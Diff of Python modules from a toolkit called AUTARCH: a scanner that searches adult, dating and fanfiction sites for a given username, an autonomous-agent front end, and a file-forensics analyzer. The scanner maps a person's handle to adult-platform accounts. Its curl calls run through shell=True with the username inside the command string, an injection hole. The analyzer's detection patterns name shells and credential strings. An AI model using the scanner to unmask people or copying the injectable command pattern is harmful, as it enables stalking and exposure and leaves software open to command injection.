with open(CUSTOM_SITES_FILE, 'r') as f:
data = json.load(f)
self.sites['custom'] = [tuple(site) for site in data.get('sites', [])]
except Exception as e:
self.sites['custom'] = []
def save_custom_sites(self):
"""Save custom sites to JSON file."""
try:
data = {'sites': [list(site) for site in self.sites['custom']]}
with open(CUSTOM_SITES_FILE, 'w') as f:
json.dump(data, f, indent=2)
return True
except Exception as e:
return False
def add_custom_site(self):
"""Interactively add a custom site."""
print(f"\n{Colors.BOLD}Add Custom Site{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}")
print()
print(f"{Colors.CYAN}URL Pattern Format:{Colors.RESET}")
print(f" Use {Colors.YELLOW}*{Colors.RESET} where the username should go")
print(f" Example: {Colors.DIM}https://example.com/user/*{Colors.RESET}")
print(f" Example: {Colors.DIM}https://example.com/profile?name=*{Colors.RESET}")
print()
# Get site name
name = input(f"{Colors.WHITE}Site name: {Colors.RESET}").strip()
if not name:
self.print_status("Cancelled - no name provided", "warning")
return
# Get URL pattern
url_pattern = input(f"{Colors.WHITE}URL pattern (use * for username): {Colors.RESET}").strip()
if not url_pattern:
self.print_status("Cancelled - no URL provided", "warning")
return
if '*' not in url_pattern:
self.print_status("URL must contain * for username placeholder", "error")
return
# Convert * to {} for internal format
url_template = url_pattern.replace('*', '{}')
# Ensure URL has protocol
if not url_template.startswith('http://') and not url_template.startswith('https://'):
url_template = 'https://' + url_template
# Get detection method
print()
print(f"{Colors.CYAN}Detection Method:{Colors.RESET}")
print(f" {Colors.GREEN}[1]{Colors.RESET} Status code (default) - Check HTTP response code")
print(f" {Colors.GREEN}[2]{Colors.RESET} Content - For sites with custom 404 pages")
method_choice = input(f"{Colors.WHITE}Select [1]: {Colors.RESET}").strip() or "1"
method = 'content' if method_choice == '2' else 'status'
# Add to custom sites
new_site = (name, url_template, method)
self.sites['custom'].append(new_site)
# Save to file
if self.save_custom_sites():
self.print_status(f"Added '{name}' to custom sites", "success")
print(f"{Colors.DIM} URL: {url_template.replace('{}', '<username>')}{Colors.RESET}")
else:
self.print_status("Failed to save custom sites", "error")
def manage_custom_sites(self):
"""View and manage custom sites."""
while True:
clear_screen()
display_banner()
print(f"{Colors.BOLD}Manage Custom Sites{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}")
print()
custom = self.sites.get('custom', [])
if not custom:
print(f"{Colors.YELLOW}No custom sites added yet.{Colors.RESET}")
print()
print(f" {Colors.GREEN}[1]{Colors.RESET} Add New Site")
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
print()
choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip()
if choice == "1":
self.add_custom_site()
else:
break
else:
print(f"{Colors.CYAN}Custom Sites ({len(custom)}):{Colors.RESET}")
print()
for i, (name, url, method) in enumerate(custom, 1):
display_url = url.replace('{}', '*')
method_tag = f"[{method}]"
print(f" {Colors.GREEN}[{i}]{Colors.RESET} {name:25} {Colors.DIM}{method_tag}{Colors.RESET}")
print(f" {Colors.DIM}{display_url}{Colors.RESET}")
print()
print(f" {Colors.GREEN}[A]{Colors.RESET} Add New Site")
print(f" {Colors.RED}[R]{Colors.RESET} Remove Site")
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
print()
choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip().upper()
if choice == "0":
break
elif choice == "A":
self.add_custom_site()
elif choice == "R":
self.remove_custom_site()
def remove_custom_site(self):
"""Remove a custom site."""
custom = self.sites.get('custom', [])
if not custom:
self.print_status("No custom sites to remove", "warning")
return
print()
idx_input = input(f"{Colors.WHITE}Enter site number to remove: {Colors.RESET}").strip()
try:
idx = int(idx_input) - 1
if 0 <= idx < len(custom):
removed = custom.pop(idx)
if self.save_custom_sites():
self.print_status(f"Removed '{removed[0]}'", "success")
else:
self.print_status("Failed to save changes", "error")
else:
self.print_status("Invalid selection", "error")
except ValueError:
self.print_status("Invalid number", "error")
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
def auto_detect_site(self):
"""Auto-detect URL pattern for a domain."""
print(f"\n{Colors.BOLD}Auto-Detect Site Pattern{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}")
print()
print(f"{Colors.CYAN}Enter just the domain name and we'll find the pattern.{Colors.RESET}")
print(f"{Colors.DIM}Example: example.com or www.example.com{Colors.RESET}")
print()
# Get domain
domain = input(f"{Colors.WHITE}Domain: {Colors.RESET}").strip()
if not domain:
self.print_status("Cancelled - no domain provided", "warning")
return
# Clean up domain
domain = domain.replace('https://', '').replace('http://', '').rstrip('/')
# Get test username
print()
print(f"{Colors.CYAN}We need a known username to test patterns.{Colors.RESET}")
print(f"{Colors.DIM}Enter a username that you know EXISTS on this site.{Colors.RESET}")
test_user = input(f"{Colors.WHITE}Test username: {Colors.RESET}").strip()
if not test_user:
self.print_status("Cancelled - no test username provided", "warning")
return
print(f"\n{Colors.CYAN}Testing {len(COMMON_PATTERNS)} common URL patterns...{Colors.RESET}\n")
# Test each pattern
working_patterns = []
for i, pattern in enumerate(COMMON_PATTERNS):
url = f"https://{domain}{pattern}".format(test_user)
print(f"\r{Colors.DIM} Testing pattern {i+1}/{len(COMMON_PATTERNS)}: {pattern}{' ' * 20}{Colors.RESET}", end="")
cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time 5 '{url}' 2>/dev/null"
success, output, _ = self.run_cmd(cmd, 7)
if success:
status_code = output.strip()
if status_code in ['200', '301', '302']:
working_patterns.append((pattern, status_code, url))
print(f"\r{' ' * 80}\r", end="") # Clear line
if not working_patterns:
print(f"{Colors.YELLOW}No working patterns found.{Colors.RESET}")
print(f"{Colors.DIM}The site may use a non-standard URL format.{Colors.RESET}")
print(f"{Colors.DIM}Try using manual add [A] with the correct URL pattern.{Colors.RESET}")
return
# Display working patterns
print(f"{Colors.GREEN}Found {len(working_patterns)} working pattern(s):{Colors.RESET}\n")
for i, (pattern, status, url) in enumerate(working_patterns, 1):
status_info = "OK" if status == '200' else f"redirect ({status})"
print(f" {Colors.GREEN}[{i}]{Colors.RESET} {pattern:20} {Colors.DIM}({status_info}){Colors.RESET}")
print(f" {Colors.DIM}{url}{Colors.RESET}")
print()
# Let user select
print(f" {Colors.DIM}[0]{Colors.RESET} Cancel")
print()
choice = input(f"{Colors.WHITE}Select pattern to add: {Colors.RESET}").strip()
try:
idx = int(choice) - 1
if 0 <= idx < len(working_patterns):
selected_pattern, status, _ = working_patterns[idx]
url_template = f"https://{domain}{selected_pattern}"
# Get site name
default_name = domain.split('.')[0].title()
name = input(f"{Colors.WHITE}Site name [{default_name}]: {Colors.RESET}").strip() or default_name
# Determine method based on status
method = 'status' if status == '200' else 'content'
# Add to custom sites
new_site = (name, url_template, method)
self.sites['custom'].append(new_site)
if self.save_custom_sites():
self.print_status(f"Added '{name}' to custom sites", "success")
print(f"{Colors.DIM} Pattern: {url_template.replace('{}', '*')}{Colors.RESET}")
else:
self.print_status("Failed to save custom sites", "error")
elif choice != "0":
self.print_status("Cancelled", "warning")
except ValueError:
if choice != "0":
self.print_status("Invalid selection", "error")
def probe_domain(self, domain: str, test_user: str, quiet: bool = False) -> list:
"""Probe a domain for working URL patterns. Returns list of (pattern, status_code, url)."""
domain = domain.replace('https://', '').replace('http://', '').rstrip('/')
working_patterns = []
for i, pattern in enumerate(COMMON_PATTERNS):
url = f"https://{domain}{pattern}".format(test_user)
if not quiet:
print(f"\r{Colors.DIM} Testing {domain}: pattern {i+1}/{len(COMMON_PATTERNS)}{' ' * 20}{Colors.RESET}", end="")
cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time 5 '{url}' 2>/dev/null"
success, output, _ = self.run_cmd(cmd, 7)
if success:
status_code = output.strip()
if status_code in ['200', '301', '302']:
working_patterns.append((pattern, status_code, url))
# For bulk mode, take first working pattern and stop
if quiet:
break
if not quiet:
print(f"\r{' ' * 80}\r", end="")
return working_patterns
def bulk_import(self):
"""Bulk import sites from custom_sites.inf file."""
print(f"\n{Colors.BOLD}Bulk Import Sites{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}")
print()
# Check if file exists, create template if not
if not BULK_IMPORT_FILE.exists():
print(f"{Colors.YELLOW}Bulk import file not found.{Colors.RESET}")
print(f"{Colors.DIM}Creating template at: {BULK_IMPORT_FILE}{Colors.RESET}")
print()
create = input(f"{Colors.WHITE}Create template file? (y/n): {Colors.RESET}").strip().lower()
if create == 'y':
template = """# AUTARCH Adult Site Scanner - Bulk Import File
# Add one domain per line (without http:// or https://)
# Lines starting with # are comments
#
# Example:
# example.com
# another-site.net
# subdomain.site.org
#
# After adding domains, run Bulk Import [B] again
# and provide a test username that exists on these sites.
"""
with open(BULK_IMPORT_FILE, 'w') as f:
f.write(template)
self.print_status(f"Created {BULK_IMPORT_FILE}", "success")
print(f"{Colors.DIM}Edit this file and add domains, then run Bulk Import again.{Colors.RESET}")
return
# Read domains from file
domains = []
with open(BULK_IMPORT_FILE, 'r') as f:
for line in f:
line = line.strip()
# Skip empty lines and comments
if line and not line.startswith('#'):
# Clean up domain
domain = line.replace('https://', '').replace('http://', '').rstrip('/')
if domain:
domains.append(domain)
if not domains:
print(f"{Colors.YELLOW}No domains found in {BULK_IMPORT_FILE.name}{Colors.RESET}")
print(f"{Colors.DIM}Add domains (one per line) and try again.{Colors.RESET}")
return
print(f"{Colors.CYAN}Found {len(domains)} domain(s) in {BULK_IMPORT_FILE.name}:{Colors.RESET}")
for d in domains[:10]:
print(f" {Colors.DIM}-{Colors.RESET} {d}")
if len(domains) > 10:
print(f" {Colors.DIM}... and {len(domains) - 10} more{Colors.RESET}")
print()
# Check which domains are already added
existing_domains = set()
for name, url, method in self.sites.get('custom', []):
# Extract domain from URL template
try:
from urllib.parse import urlparse
parsed = urlparse(url.replace('{}', 'test'))
existing_domains.add(parsed.netloc.lower())
except:
pass
new_domains = [d for d in domains if d.lower() not in existing_domains]
skipped = len(domains) - len(new_domains)
if skipped > 0:
print(f"{Colors.YELLOW}Skipping {skipped} already-added domain(s){Colors.RESET}")
if not new_domains:
print(f"{Colors.GREEN}All domains already added!{Colors.RESET}")
return
print(f"{Colors.CYAN}Will scan {len(new_domains)} new domain(s){Colors.RESET}")
print()
# Get test username
print(f"{Colors.CYAN}We need a test username to probe URL patterns.{Colors.RESET}")
print(f"{Colors.DIM}Use a common username that likely exists on most sites.{Colors.RESET}")
print(f"{Colors.DIM}Example: admin, test, user, john, etc.{Colors.RESET}")
print()
test_user = input(f"{Colors.WHITE}Test username: {Colors.RESET}").strip()
if not test_user:
self.print_status("Cancelled - no test username provided", "warning")
return
print(f"\n{Colors.CYAN}Scanning {len(new_domains)} domains...{Colors.RESET}\n")
# Scan each domain
added = 0
failed = []
for i, domain in enumerate(new_domains):
print(f"{Colors.DIM}[{i+1}/{len(new_domains)}] Scanning {domain}...{Colors.RESET}")
# Use quiet mode to get first working pattern
patterns = self.probe_domain(domain, test_user, quiet=True)
if patterns:
pattern, status, url = patterns[0]
url_template = f"https://{domain}{pattern}"
name = domain.split('.')[0].title()
method = 'status' if status == '200' else 'content'
# Add to custom sites
new_site = (name, url_template, method)
self.sites['custom'].append(new_site)
added += 1
print(f" {Colors.GREEN}[+]{Colors.RESET} Added {name}: {pattern}")
else:
failed.append(domain)
print(f" {Colors.RED}[X]{Colors.RESET} No pattern found")
# Save results
if added > 0:
if self.save_custom_sites():
print(f"\n{Colors.GREEN}Successfully added {added} site(s){Colors.RESET}")
else:
print(f"\n{Colors.RED}Failed to save custom sites{Colors.RESET}")
if failed:
print(f"\n{Colors.YELLOW}Failed to detect patterns for {len(failed)} domain(s):{Colors.RESET}")
for d in failed[:5]:
print(f" {Colors.DIM}-{Colors.RESET} {d}")
if len(failed) > 5:
print(f" {Colors.DIM}... and {len(failed) - 5} more{Colors.RESET}")
print(f"{Colors.DIM}Try adding these manually with [A] or [D]{Colors.RESET}")
# Offer to clear the import file
print()
clear_file = input(f"{Colors.WHITE}Clear import file? (y/n): {Colors.RESET}").strip().lower()
if clear_file == 'y':
# Keep the header comments
header = """# AUTARCH Adult Site Scanner - Bulk Import File
# Add one domain per line (without http:// or https://)
# Lines starting with # are comments
"""
with open(BULK_IMPORT_FILE, 'w') as f:
f.write(header)
self.print_status("Import file cleared", "success")
def print_status(self, message: str, status: str = "info"):
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
def run_cmd(self, cmd: str, timeout: int = 10) -> tuple:
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return result.returncode == 0, result.stdout.strip(), result.stderr.strip()
except subprocess.TimeoutExpired:
return False, "", "timeout"
except Exception as e:
return False, "", str(e)
def check_site(self, site_info: tuple, username: str) -> dict:
"""Check if username exists on a site."""
name, url_template, method = site_info
# Handle special URL formats
if '{}' in url_template:
url = url_template.format(username)
else:
url = url_template + username
result = {
'site': name,
'url': url,
'found': False,
'status': 'unknown'
}
# Use curl to check
cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time {self.timeout} '{url}' 2>/dev/null"
success, output, _ = self.run_cmd(cmd, self.timeout + 2)
if success:
status_code = output.strip()
if method == 'status':
# Check HTTP status code
if status_code == '200':
result['found'] = True
result['status'] = 'found'
elif status_code in ['301', '302']:
result['found'] = True
result['status'] = 'redirect'
elif status_code == '404':
result['status'] = 'not_found'
else:
result['status'] = f'http_{status_code}'
else:
# For content-based checks, we need to fetch the page
if status_code == '200':
# Could do content analysis here
result['found'] = True
result['status'] = 'possible'
elif status_code == '404':
result['status'] = 'not_found'
else:
result['status'] = f'http_{status_code}'
else:
result['status'] = 'error'
return result
def scan_username(self, username: str, categories: list = None):
"""Scan username across selected site categories."""
if categories is None:
categories = list(self.sites.keys())
# Collect all sites to scan
sites_to_scan = []
for cat in categories:
if cat in self.sites:
sites_to_scan.extend(self.sites[cat])
print(f"\n{Colors.CYAN}Scanning {len(sites_to_scan)} sites for username: {username}{Colors.RESET}")
print(f"{Colors.DIM}This may take a few minutes...{Colors.RESET}\n")
self.results = []
found_count = 0
# Use thread pool for parallel scanning
with ThreadPoolExecutor(max_workers=self.max_threads) as executor:
futures = {executor.submit(self.check_site, site, username): site for site in sites_to_scan}
for i, future in enumerate(as_completed(futures)):
result = future.result()
self.results.append(result)
# Display progress
if result['found']:
found_count += 1
status_color = Colors.GREEN if result['status'] == 'found' else Colors.YELLOW
print(f" {status_color}[+]{Colors.RESET} {result['site']:25} {result['url']}")
else:
# Show progress indicator
print(f"\r{Colors.DIM} Checked {i+1}/{len(sites_to_scan)} sites, found {found_count}...{Colors.RESET}", end="")
print(f"\r{' ' * 60}\r", end="") # Clear progress line
return self.results
def display_results(self):
"""Display scan results."""
found = [r for r in self.results if r['found']]
not_found = [r for r in self.results if not r['found']]
print(f"\n{Colors.BOLD}{'' * 60}{Colors.RESET}")
print(f"{Colors.BOLD}Scan Results{Colors.RESET}")
print(f"{Colors.BOLD}{'' * 60}{Colors.RESET}\n")
if found:
print(f"{Colors.GREEN}Found ({len(found)} sites):{Colors.RESET}\n")
for r in found:
status_note = f" ({r['status']})" if r['status'] not in ['found'] else ""
print(f" {Colors.GREEN}+{Colors.RESET} {r['site']:25} {r['url']}{Colors.DIM}{status_note}{Colors.RESET}")
else:
print(f"{Colors.YELLOW}No profiles found.{Colors.RESET}")
print(f"\n{Colors.DIM}Total sites checked: {len(self.results)}{Colors.RESET}")
print(f"{Colors.DIM}Profiles found: {len(found)}{Colors.RESET}")
def export_results(self, filename: str):
"""Export results to file."""
found = [r for r in self.results if r['found']]
with open(filename, 'w') as f:
f.write(f"Username OSINT Results\n")
f.write(f"{'=' * 50}\n\n")
f.write(f"Found Profiles ({len(found)}):\n\n")
for r in found:
f.write(f"{r['site']}: {r['url']}\n")
self.print_status(f"Results exported to {filename}", "success")
def show_menu(self):
"""Display main menu."""
clear_screen()
display_banner()
print(f"{Colors.GREEN}{Colors.BOLD} Adult Site Scanner{Colors.RESET}")
print(f"{Colors.DIM} Username OSINT for adult platforms{Colors.RESET}")
print(f"{Colors.DIM} {'' * 50}{Colors.RESET}")
print()
# Show category counts
total = sum(len(sites) for sites in self.sites.values())
custom_count = len(self.sites.get('custom', []))
print(f"{Colors.DIM} Sites in database: {total} ({custom_count} custom){Colors.RESET}")
print()
print(f" {Colors.CYAN}Scan Categories:{Colors.RESET}")
print(f" {Colors.GREEN}[1]{Colors.RESET} Full Scan (all categories)")
print(f" {Colors.GREEN}[2]{Colors.RESET} Fanfiction & Story Sites")
print(f" {Colors.GREEN}[3]{Colors.RESET} Art & Creative Sites")
print(f" {Colors.GREEN}[4]{Colors.RESET} Video & Streaming Sites")
print(f" {Colors.GREEN}[5]{Colors.RESET} Forums & Communities")
print(f" {Colors.GREEN}[6]{Colors.RESET} Dating & Social Sites")
print(f" {Colors.GREEN}[7]{Colors.RESET} Gaming Related Sites")
print(f" {Colors.GREEN}[8]{Colors.RESET} Custom Sites Only")
print(f" {Colors.GREEN}[9]{Colors.RESET} Custom Category Selection")
print()
print(f" {Colors.CYAN}Site Management:{Colors.RESET}")
print(f" {Colors.GREEN}[A]{Colors.RESET} Add Custom Site (manual)")
print(f" {Colors.GREEN}[D]{Colors.RESET} Auto-Detect Site Pattern")
print(f" {Colors.GREEN}[B]{Colors.RESET} Bulk Import from File")
print(f" {Colors.GREEN}[M]{Colors.RESET} Manage Custom Sites")
print(f" {Colors.GREEN}[L]{Colors.RESET} List All Sites")
print()
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
print()
def select_categories(self) -> list:
"""Let user select multiple categories."""
print(f"\n{Colors.BOLD}Select Categories (comma-separated):{Colors.RESET}")
print()
cat_list = list(self.sites.keys())
for i, cat in enumerate(cat_list, 1):
count = len(self.sites[cat])
print(f" [{i}] {cat.title():20} ({count} sites)")
print()
selection = input(f"{Colors.WHITE}Enter numbers (e.g., 1,2,3): {Colors.RESET}").strip()
selected = []
try:
for num in selection.split(','):
idx = int(num.strip()) - 1
if 0 <= idx < len(cat_list):
selected.append(cat_list[idx])
except:
pass
return selected if selected else None
def list_sites(self):
"""List all sites in database."""
clear_screen()
display_banner()
print(f"{Colors.BOLD}Site Database{Colors.RESET}")
print(f"{Colors.DIM}{'' * 60}{Colors.RESET}\n")
for category, sites in self.sites.items():
if not sites:
continue
color = Colors.YELLOW if category == 'custom' else Colors.GREEN
print(f"{color}{category.upper()} ({len(sites)} sites){Colors.RESET}")
for name, url, method in sites:
if category == 'custom':
display_url = url.replace('{}', '*')
print(f" {Colors.DIM}-{Colors.RESET} {name} {Colors.DIM}({display_url}){Colors.RESET}")
else:
print(f" {Colors.DIM}-{Colors.RESET} {name}")
print()
input(f"{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
def run_scan(self, categories: list = None):
"""Run a scan with given categories."""
username = input(f"\n{Colors.WHITE}Enter username to search: {Colors.RESET}").strip()
if not username:
return
self.scan_username(username, categories)
self.display_results()
# Export option
export = input(f"\n{Colors.WHITE}Export results to file? (y/n): {Colors.RESET}").strip().lower()
if export == 'y':
filename = f"{username}_adultscan.txt"
self.export_results(filename)
def run(self):
"""Main loop."""
while True:
self.show_menu()
try:
choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper()
if choice == "0":
break
elif choice == "1":
self.run_scan() # All categories
elif choice == "2":
self.run_scan(['fanfiction'])
elif choice == "3":
self.run_scan(['art'])
elif choice == "4":
self.run_scan(['video'])
elif choice == "5":
self.run_scan(['forums'])
elif choice == "6":
self.run_scan(['dating'])
elif choice == "7":
self.run_scan(['gaming'])
elif choice == "8":
if self.sites.get('custom'):
self.run_scan(['custom'])
else:
self.print_status("No custom sites added yet. Use [A] to add sites.", "warning")
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
continue
elif choice == "9":
cats = self.select_categories()
if cats:
self.run_scan(cats)
elif choice == "A":
self.add_custom_site()
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
continue
elif choice == "D":
self.auto_detect_site()
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
continue
elif choice == "B":
self.bulk_import()
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
continue
elif choice == "M":
self.manage_custom_sites()
continue
elif choice == "L":
self.list_sites()
continue
if choice in ["1", "2", "3", "4", "5", "6", "7", "8", "9"]:
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
except (EOFError, KeyboardInterrupt):
break
def run():
AdultScanner().run()
if __name__ == "__main__":
run()

View File

@@ -1,181 +0,0 @@
"""
AUTARCH Agent Module
Interactive interface for running autonomous agent tasks
This module provides an interface to give tasks to the autonomous agent
and watch it work through them step by step.
"""
import sys
from pathlib import Path
# Module metadata
DESCRIPTION = "Autonomous agent for task execution"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "core"
# Add parent directory to path
sys.path.insert(0, str(Path(__file__).parent.parent))
from core.agent import Agent, AgentState, AgentStep, AgentResult
from core.tools import get_tool_registry
from core.llm import get_llm, LLMError
from core.banner import Colors, clear_screen, display_banner
class AgentInterface:
"""Interactive interface for the AUTARCH agent."""
def __init__(self):
self.agent = None
self.llm = get_llm()
self.tools = get_tool_registry()
def print_status(self, message: str, status: str = "info"):
"""Print a status message."""
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
def print_header(self, text: str):
"""Print a section header."""
print(f"\n{Colors.BOLD}{Colors.WHITE}{text}{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}")
def show_tools(self):
"""Display available tools."""
self.print_header("Available Tools")
tools = self.tools.list_tools()
for tool in tools:
print(f"\n {Colors.CYAN}{tool.name}{Colors.RESET} [{tool.category}]")
print(f" {Colors.DIM}{tool.description}{Colors.RESET}")
if tool.parameters:
for param in tool.parameters:
req = "*" if param.required else ""
print(f" - {param.name}{req}: {param.description}")
def on_step_callback(self, step: AgentStep):
"""Callback for when agent completes a step."""
print(f"\n{Colors.DIM}{'' * 40}{Colors.RESET}")
def on_state_callback(self, state: AgentState):
"""Callback for agent state changes."""
state_colors = {
AgentState.IDLE: Colors.WHITE,
AgentState.THINKING: Colors.MAGENTA,
AgentState.EXECUTING: Colors.BLUE,
AgentState.WAITING_USER: Colors.YELLOW,
AgentState.COMPLETE: Colors.GREEN,
AgentState.ERROR: Colors.RED,
}
color = state_colors.get(state, Colors.WHITE)
# Only show state for key transitions
if state in [AgentState.COMPLETE, AgentState.ERROR]:
print(f"{color}[State: {state.value}]{Colors.RESET}")
def run_task(self, task: str) -> AgentResult:
"""Run a task through the agent.
Args:
task: Task description.
Returns:
AgentResult with execution details.
"""
self.agent = Agent(
llm=self.llm,
tools=self.tools,
max_steps=20,
verbose=True
)
self.agent.on_step = self.on_step_callback
self.agent.on_state_change = self.on_state_callback
return self.agent.run(task)
def interactive_loop(self):
"""Run interactive task input loop."""
self.print_header("Agent Interface")
print(f"\n{Colors.WHITE}Enter a task for the agent to complete.")
print(f"Type 'tools' to see available tools.")
print(f"Type 'exit' to return to main menu.{Colors.RESET}\n")
while True:
try:
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}")
task = input(f"\n{Colors.GREEN}Task:{Colors.RESET} ").strip()
if not task:
continue
if task.lower() == 'exit':
break
if task.lower() == 'tools':
self.show_tools()
continue
if task.lower() == 'help':
print(f"\n{Colors.WHITE}Commands:{Colors.RESET}")
print(f" {Colors.CYAN}tools{Colors.RESET} - Show available tools")
print(f" {Colors.CYAN}exit{Colors.RESET} - Return to main menu")
print(f" {Colors.CYAN}help{Colors.RESET} - Show this help")
print(f"\n{Colors.WHITE}Or enter a task description for the agent.{Colors.RESET}")
continue
# Run the task
print(f"\n{Colors.CYAN}[*] Starting agent...{Colors.RESET}\n")
result = self.run_task(task)
# Show result summary
print(f"\n{Colors.DIM}{'' * 50}{Colors.RESET}")
if result.success:
print(f"{Colors.GREEN}[+] Task completed successfully{Colors.RESET}")
print(f"\n{Colors.WHITE}Summary:{Colors.RESET} {result.summary}")
else:
print(f"{Colors.RED}[X] Task failed{Colors.RESET}")
if result.error:
print(f"{Colors.RED}Error:{Colors.RESET} {result.error}")
if result.summary:
print(f"{Colors.WHITE}Summary:{Colors.RESET} {result.summary}")
print(f"\n{Colors.DIM}Steps taken: {len(result.steps)}{Colors.RESET}")
except (EOFError, KeyboardInterrupt):
print(f"\n\n{Colors.YELLOW}[!] Interrupted{Colors.RESET}")
break
def run(self):
"""Module entry point."""
clear_screen()
display_banner()
print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH Autonomous Agent{Colors.RESET}")
print(f"{Colors.DIM} {'' * 50}{Colors.RESET}")
# Check if model is loaded
if not self.llm.is_loaded:
self.print_status("Loading model...", "info")
try:
self.llm.load_model(verbose=True)
except LLMError as e:
self.print_status(f"Failed to load model: {e}", "error")
self.print_status("Please run setup to configure a model.", "warning")
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
return
self.interactive_loop()
def run():
"""Module entry point."""
interface = AgentInterface()
interface.run()
if __name__ == "__main__":
run()

View File

@@ -1,417 +0,0 @@
"""
AUTARCH Analyze Module
Forensics and analysis tools
File analysis, hash generation, string extraction, and more.
"""
import os
import sys
import subprocess
import hashlib
import re
try:
import magic
except ImportError:
magic = None
from pathlib import Path
from datetime import datetime
# Module metadata
DESCRIPTION = "Forensics & file analysis tools"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "analyze"
sys.path.insert(0, str(Path(__file__).parent.parent))
from core.banner import Colors, clear_screen, display_banner
class Analyzer:
"""Forensics and analysis tools."""
def __init__(self):
pass
def print_status(self, message: str, status: str = "info"):
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
def run_cmd(self, cmd: str) -> tuple:
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
return result.returncode == 0, result.stdout.strip()
except:
return False, ""
def get_file_hashes(self, filepath: str) -> dict:
"""Calculate various hashes for a file."""
p = Path(filepath)
if not p.exists() or not p.is_file():
return {}
hashes = {}
with open(p, 'rb') as f:
content = f.read()
hashes['md5'] = hashlib.md5(content).hexdigest()
hashes['sha1'] = hashlib.sha1(content).hexdigest()
hashes['sha256'] = hashlib.sha256(content).hexdigest()
return hashes
def analyze_file(self):
"""Comprehensive file analysis."""
print(f"\n{Colors.BOLD}File Analysis{Colors.RESET}")
filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip()
if not filepath:
return
p = Path(filepath).expanduser()
if not p.exists():
self.print_status(f"File not found: {filepath}", "error")
return
print(f"\n{Colors.CYAN}{'' * 50}{Colors.RESET}")
print(f"{Colors.BOLD}File: {p.name}{Colors.RESET}")
print(f"{Colors.CYAN}{'' * 50}{Colors.RESET}\n")
# Basic info
stat = p.stat()
print(f"{Colors.CYAN}Basic Info:{Colors.RESET}")
print(f" Path: {p.absolute()}")
print(f" Size: {stat.st_size:,} bytes")
print(f" Modified: {datetime.fromtimestamp(stat.st_mtime)}")
print(f" Created: {datetime.fromtimestamp(stat.st_ctime)}")
print(f" Mode: {oct(stat.st_mode)}")
# File type
print(f"\n{Colors.CYAN}File Type:{Colors.RESET}")
try:
file_magic = magic.Magic(mime=True)
mime_type = file_magic.from_file(str(p))
print(f" MIME: {mime_type}")
file_magic = magic.Magic()
file_desc = file_magic.from_file(str(p))
print(f" Type: {file_desc}")
except:
success, output = self.run_cmd(f"file '{p}'")
if success:
print(f" Type: {output.split(':', 1)[-1].strip()}")
# Hashes
print(f"\n{Colors.CYAN}Hashes:{Colors.RESET}")
hashes = self.get_file_hashes(str(p))
for algo, value in hashes.items():
print(f" {algo.upper():8} {value}")
# Check if executable
if p.suffix in ['.exe', '.dll', '.so', '.elf', ''] or stat.st_mode & 0o111:
self.analyze_executable(str(p))
def analyze_executable(self, filepath: str):
"""Additional analysis for executables."""
print(f"\n{Colors.CYAN}Executable Analysis:{Colors.RESET}")
# Strings
success, output = self.run_cmd(f"strings '{filepath}' 2>/dev/null | head -50")
if success and output:
# Look for interesting strings
interesting = []
patterns = [
r'https?://[^\s]+', # URLs
r'\d+\.\d+\.\d+\.\d+', # IPs
r'password|passwd|secret|key|token', # Credentials
r'/bin/sh|/bin/bash|cmd\.exe', # Shells
]
for line in output.split('\n'):
for pattern in patterns:
if re.search(pattern, line, re.I):
interesting.append(line.strip())
break
if interesting:
print(f" {Colors.YELLOW}Interesting strings found:{Colors.RESET}")
for s in interesting[:10]:
print(f" {s[:80]}")
# Check for packing
success, output = self.run_cmd(f"readelf -h '{filepath}' 2>/dev/null")
if success:
if 'Entry point' in output:
print(f" ELF executable detected")
def extract_strings(self):
"""Extract strings from file."""
print(f"\n{Colors.BOLD}String Extraction{Colors.RESET}")
filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip()
if not filepath:
return
p = Path(filepath).expanduser()
if not p.exists():
self.print_status(f"File not found", "error")
return
min_len = input(f"{Colors.WHITE}Minimum string length [4]: {Colors.RESET}").strip() or "4"
print(f"\n{Colors.CYAN}Extracting strings...{Colors.RESET}\n")
